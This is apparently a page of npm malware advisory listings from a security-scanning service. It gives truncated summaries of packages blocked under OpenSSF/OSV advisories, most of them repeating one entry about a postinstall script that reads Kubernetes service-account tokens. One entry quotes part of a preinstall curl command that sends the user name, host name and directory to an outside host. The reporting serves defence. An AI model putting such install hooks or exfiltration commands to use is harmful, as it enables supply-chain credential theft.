npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 585
Updated 24 Oct 2026, 13:27 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4510 blocks this version. On `npm install`, the package's `postinstall` hook runs `setup.js`, which decodes an embedded base64 string into a tar.gz f...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4617 blocks this version. On `npm install`, the package's `postinstall` script runs a shell pipeline that reads the Kubernetes service-account token...
OpenSSF/OSV malware advisory MAL-2026-4185 blocks this version. Package claims an internal-scope corporate name (`uolcs-host-uol-anuncios-fe`) on public npm, version-pinned to 99.99.99 —...
OpenSSF/OSV malware advisory MAL-2026-4605 blocks this version. package.json declares a preinstall lifecycle hook that runs `curl https://huntr.site/depconf/$(whoami)@$(hostname)?pwd=$(pw...
OpenSSF/OSV malware advisory MAL-2026-4605 blocks this version. package.json declares a preinstall lifecycle hook that runs `curl https://huntr.site/depconf/$(whoami)@$(hostname)?pwd=$(pw...
OpenSSF/OSV malware advisory MAL-2026-4605 blocks this version. package.json declares a preinstall lifecycle hook that runs `curl https://huntr.site/depconf/$(whoami)@$(hostname)?pwd=$(pw...
OpenSSF/OSV malware advisory MAL-2026-4662 blocks this version. On `npm install` (scripts.install runs `node index.js`) and on `require('rendezvous-js')`, lib/core.js collects `os.userInf...
OpenSSF/OSV malware advisory MAL-2026-4569 blocks this version. On `npm install` (via scripts.install: `node index.js`) and on every `require('gator-client')`, lib/core.js collects `os.us...
OpenSSF/OSV malware advisory MAL-2026-4495 blocks this version. On `npm install`, the package's `install` lifecycle hook runs `node index.js`, which loads `lib/core.js`. That module reads...